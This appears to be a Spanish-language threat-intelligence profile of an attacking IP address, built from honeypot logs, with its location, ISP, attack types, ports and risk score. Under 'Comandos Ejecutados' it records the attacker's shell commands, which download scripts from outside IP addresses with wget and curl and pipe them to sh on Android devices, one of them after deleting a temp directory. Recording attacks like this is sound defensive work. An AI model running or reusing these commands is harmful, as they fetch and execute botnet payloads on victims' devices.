⚠TROYANOSYVIRUS
Amenaza Activa • ALTO

176.65.139.44

Pais de Origen🇩🇪 Alemania
Primera Deteccion10/2/2026
Ultima Actividad22/2/2026
ISPPfcloud UG (haftungsbeschrankt)
🎯
62
Ataques Totales
🔌
7
Puertos
📡
8
Tipos Ataque
🦠
0
Malware

Geolocalizacion

Pais
🇩🇪 Alemania
Ciudad
Desconocida
ASN
AS51396
ISP
Pfcloud UG (haftungsbeschrankt)

Tipos de Ataque

h0neytr4p
cowrie
honeyaml
adbhoney
tanner
miniprint
honeytrap
wordpot

Puertos Atacados

238044330025555910025565

Malware Asociado

Sin malware asociado

Comandos Ejecutados

$echo hello4x
$cd /data/local/tmp/; busybox wget http://89.32.41.15/w.sh; sh w.sh; curl http://89.32.41.15/c.sh; sh c.sh; wget http://89.32.41.15/wget.sh; sh wget.sh; curl http://89.32.41.15/wget.sh; sh wget.sh; busybox wget http://89.32.41.15/wget.sh; sh wget.sh; busybox curl http://89.32.41.15/wget.sh; sh wget.sh2x
$rm -rf /data/local/tmp >/dev/null 2>&1; mkdir -p /data/local/tmp >/dev/null 2>&1; cd /data/local/tmp && (toybox wget -qO- http://130.12.180.55/wget.sh 2>/dev/null | sh || busybox wget -qO- http://130.12.180.55/wget.sh 2>/dev/null | sh || wget -qO- http://130.12.180.55/wget.sh 2>/dev/null | sh || curl -s http://130.12.180.55/wget.sh 2>/dev/null | sh) || echo 'hepsi bok gibi patladı aq' >/dev/stderr1x

Evaluacion de Riesgo

65
/100
BajoMedioAltoCritico